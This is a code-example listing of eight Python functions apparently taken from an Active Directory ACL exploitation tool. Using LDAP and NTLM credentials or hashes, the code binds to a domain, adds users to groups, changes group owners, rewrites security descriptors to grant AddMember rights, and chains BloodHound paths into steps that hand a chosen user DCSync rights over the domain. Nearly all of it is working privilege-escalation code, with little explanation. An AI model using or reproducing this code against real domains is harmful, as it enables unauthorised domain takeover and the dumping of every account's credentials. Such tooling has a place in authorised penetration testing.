Exemplo n.º 1
0
    def rebind_ldap(self, user):
        domain = self.config['domain']

        # Todo: get password from command line args
        try:
            password = self.passdata[user]
        except KeyError:
            prompt = 'Please supply the password or LM:NTLM hashes for the account %s: ' % user
            password = getpass.getpass(prompt.encode('utf-8'))
            # Store for further reference
            self.passdata[user] = password

        if domain is None:
            domain = get_domain(user)
        if '@' in user or '.' in user:
            binduser = get_sam_name(user)
        else:
            binduser = user

        if not self.ldapconnection.rebind(
                '%s\\%s' %
            (domain, binduser), password, authentication=ldap3.NTLM):
            raise RestoreException(
                'Failed to switch context to %s\\%s: %s' %
                (domain, binduser, str(self.ldapconnection.result)))

        return user
Exemplo n.º 2
0
def add_user_to_group(ldapconnection, state, user_sam, group_bh_name):
    # For display only
    group_sam = get_sam_name(group_bh_name)
    group_dn = get_object_info(ldapconnection, group_sam)[0]
    user_dn = get_object_info(ldapconnection, user_sam)[0]

    # Dictionary for restore data
    restoredata = {}

    # Save DNs
    restoredata['group_dn'] = group_dn
    restoredata['user_dn'] = user_dn

    # Now add the user as a member to this group
    res = ldapconnection.modify(group_dn,
                                {'member': [(ldap3.MODIFY_ADD, [user_dn])]})
    if res:
        restoredata['success'] = True
        state.push_history('add_user_to_group', restoredata)
        print_o('Added %s as member to %s' % (user_dn, group_dn))
        return True
    else:
        # This means the user is already a member
        if ldapconnection.result['result'] == 68:
            print_m(
                'Could not add %s to group %s since they are already a member, your BloodHound data may be out of date, continuing anyway!'
                % (user_dn, group_dn))
            # Treat this as a success
            restoredata['success'] = True
            state.push_history('add_user_to_group', restoredata)
            return True
        restoredata['success'] = False
        state.push_history('add_user_to_group', restoredata)
        raise ExploitException('Failed to add %s to group %s: %s' %
                               (user_dn, group_dn, str(ldapconnection.result)))
Exemplo n.º 3
0
def rebind_ldap(ldapconnection, user, password, domain=None):
    if domain is None:
        domain = get_domain(user)
    if '@' in user:
        user = get_sam_name(user)
    if not ldapconnection.rebind(
            '%s\\%s' % (domain, user), password, authentication=ldap3.NTLM):
        raise ExploitException('Failed to switch context to %s\\%s: %s' %
                               (domain, user, str(ldapconnection.result)))
Exemplo n.º 4
0
def write_owner(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for owner
    controls = security_descriptor_control(sdflags=0x01)
    group_sam = get_sam_name(group_bh_name)

    # Dictionary for restore data
    restoredata = {}

    ldapconnection.search(
        get_ldap_root(ldapconnection),
        '(sAMAccountName=%s)' % escape_filter_chars(group_sam),
        attributes=['SAMAccountName', 'nTSecurityDescriptor'],
        controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
    if secDesc['OwnerSid'].formatCanonical() == usersid:
        print_m('%s is already owned by %s, skipping' % (group_sam, user_sam))
        return True

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid
    restoredata['old_owner_sid'] = secDesc['OwnerSid'].formatCanonical()

    # Modify the sid
    secDesc['OwnerSid'] = LDAP_SID()
    secDesc['OwnerSid'].fromCanonical(usersid)

    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(
        dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
        controls=controls)
    if res:
        print_o('Owner change successful')
        restoredata['success'] = True
        state.push_history('write_owner', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('write_owner', restoredata)
        raise ExploitException('Failed to change owner of group %s to %s: %s' %
                               (dn, userdn, str(ldapconnection.result)))
Exemplo n.º 5
0
def connect_ldap(server, user, password, domain=None):
    if domain is None:
        domain = get_domain(user)
    if '@' in user or '.' in user:
        user = get_sam_name(user)
    ldapserver = ldap3.Server(server, get_info=ldap3.DSA)
    connection = ldap3.Connection(ldapserver,
                                  user='******' % (domain, user),
                                  password=password,
                                  authentication=ldap3.NTLM)
    if not connection.bind():
        raise ExploitException(
            'Failed to connect to the LDAP server as %s\\%s: %s' %
            (domain, user, str(connection.result)))
    return connection
Exemplo n.º 6
0
    def establish_connection(self, user):
        domain = self.config['domain']
        # First check if the server was specified explicitly
        if self.config['server']:
            server = self.config['server']
        else:
            server = self.config['domain']
        # if self.args.server:
        #     server = self.args.server
        # # If not, check if the server was specified in the restore data
        # elif self.config['server']:
        #     server = self.config['server']
        # # Else, assume DNS is set up properly and we can connect to the domain
        # else:
        #     server = self.config['domain']

        #password = getpass.getpass(self.ntlm.encode('utf-8'))
        password = self.ntlm
        self.passdata[user] = password
        #Todo: get password from command line args
        # try:
        #     password = self.passdata[user]
        # except KeyError:
        #     prompt = 'Please supply the password or LM:NTLM hashes for the account %s: ' % user
        #     password = getpass.getpass(prompt.encode('utf-8'))
        #     # Store for further reference
        #     self.passdata[user] = password

        if domain is None:
            domain = get_domain(user)
        if '@' in user or '.' in user:
            binduser = get_sam_name(user)
        else:
            binduser = user

        ldapserver = ldap3.Server(server, get_info=ldap3.DSA)
        connection = ldap3.Connection(ldapserver,
                                      user='******' % (domain, binduser),
                                      password=password,
                                      authentication=ldap3.NTLM)
        if not connection.bind():
            raise RestoreException(
                'Failed to connect to the LDAP server as %s\\%s: %s' %
                (domain, binduser, str(connection.result)))
        return connection, user
Exemplo n.º 7
0
def walk_path(path, config, ldapconnection, dry_run=False):
    # User we are currently bound as
    contextuser = config.from_object
    if ldapconnection is None and not dry_run:
        if config.server:
            server = config.server
        else:
            server = config.domain
        ldapconnection = connect_ldap(server, contextuser,
                                      config.source_password, config.domain)

    # The user used for exploitation
    # if this user is not specified, the "from" user is assumed
    if config.user is None:
        targetuser = get_sam_name(config.from_object)
    else:
        targetuser = config.user

    # This is our task queue
    task_queue = []
    # This is the state which gets modified along the way
    state = ExploitState(ldapconnection, contextuser, targetuser, config)

    for relationship, endnode in path:
        if relationship.type == 'MemberOf':
            if not dry_run:
                task_queue.append(MessageTask(print_m, 'Memberof -> continue'))
            continue
        elif relationship.type in ['AddMember', 'AllExtendedRights']:
            if 'Group' in endnode.labels:
                task_queue.append(
                    MessageTask(
                        print_m, 'Adding user %s to group %s' %
                        (targetuser, endnode.get('name'))))
                task_queue.append(
                    ExploitTask(state, add_user_to_group, endnode.get('name'),
                                True))
            else:
                print_f('Unsupported operation: %s on %s (%s)' %
                        (relationship.type, endnode.get('name'), ','.join(
                            endnode.labels)))
                return False
        elif relationship.type in ['DCSync', 'GetChangesAll']:
            task_queue.append(MessageTask(print_m, 'DCSync -> continue'))
            continue
        elif relationship.type in [
                'WriteDacl', 'GenericAll', 'GenericWrite', 'Owns'
        ]:
            if 'Group' in endnode.labels:
                if relationship.type in ['WriteDacl', 'Owns']:
                    task_queue.append(
                        MessageTask(
                            print_m,
                            'Modifying group DACL of %s to give AddMember rights to %s'
                            % (endnode.get('name'), targetuser)))
                    task_queue.append(
                        ExploitTask(state, add_addmember_privs,
                                    endnode.get('name'), True))
                task_queue.append(
                    MessageTask(
                        print_m, 'Adding user %s to group %s' %
                        (targetuser, endnode.get('name'))))
                task_queue.append(
                    ExploitTask(state, add_user_to_group, endnode.get('name'),
                                True))
            elif 'Domain' in endnode.labels:
                # GenericAll exception?
                task_queue.append(
                    MessageTask(
                        print_m,
                        'Modifying domain DACL to give DCSync rights to %s' %
                        targetuser))
                task_queue.append(
                    ExploitTask(state, add_domain_sync, endnode.get('name')))
            else:
                print_f('Unsupported operation: %s on %s (%s)' %
                        (relationship.type, endnode.get('name'), ','.join(
                            endnode.labels)))
                return False
        elif relationship.type == 'WriteOwner':
            if 'Group' in endnode.labels:
                task_queue.append(
                    MessageTask(
                        print_m, 'Modifying owner of group %s to %s' %
                        (endnode.get('name'), targetuser)))
                task_queue.append(
                    ExploitTask(state, write_owner, endnode.get('name'), True))
                task_queue.append(
                    MessageTask(
                        print_m,
                        'Modifying group DACL of %s to give AddMember rights to %s'
                        % (endnode.get('name'), targetuser)))
                task_queue.append(
                    ExploitTask(state, add_addmember_privs,
                                endnode.get('name'), True))
                task_queue.append(
                    MessageTask(
                        print_m, 'Adding user %s to group %s' %
                        (targetuser, endnode.get('name'))))
                task_queue.append(
                    ExploitTask(state, add_user_to_group, endnode.get('name'),
                                True))
            elif 'Domain' in endnode.labels:
                task_queue.append(
                    MessageTask(
                        print_m,
                        'Modifying owner of the domain object %s to %s' %
                        (endnode.get('name'), targetuser)))
                task_queue.append(
                    ExploitTask(state, write_owner, (endnode.get('name')),
                                True))
                task_queue.append(
                    MessageTask(
                        print_m,
                        'Modifying domain DACL to give DCSync rights to %s' %
                        targetuser))
                task_queue.append(
                    ExploitTask(state, add_domain_sync, endnode.get('name')))
            else:
                print_f('Unsupported operation: %s on %s (%s)' %
                        (relationship.type, endnode.get('name'), ','.join(
                            endnode.labels)))
                return False
        else:
            print_f('Unsupported operation: %s on %s (%s)' %
                    (relationship.type, endnode.get('name'), ','.join(
                        endnode.labels)))
            return False
    return task_queue, state
Exemplo n.º 8
0
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying group security descriptor')
    group_sam = get_sam_name(group_bh_name)
    ldapconnection.search(
        get_ldap_root(ldapconnection),
        '(sAMAccountName=%s)' % escape_filter_chars(group_sam),
        attributes=['SAMAccountName', 'nTSecurityDescriptor'],
        controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    # We need "write property" here to write to the "member" attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
    # this is the GUID of the Member attribute
    secDesc['Dacl']['Data'].append(
        create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid,
                          accesstype))
    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(
        dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
        controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(
            dn,
            '(objectClass=*)',
            search_scope=ldap3.BASE,
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD)
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_addmember_privs', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_addmember_privs', restoredata)
        # filter out already exists?
        raise ExploitException(
            'Failed to add WriteMember privs for %s to group %s: %s' %
            (userdn, dn, str(ldapconnection.result)))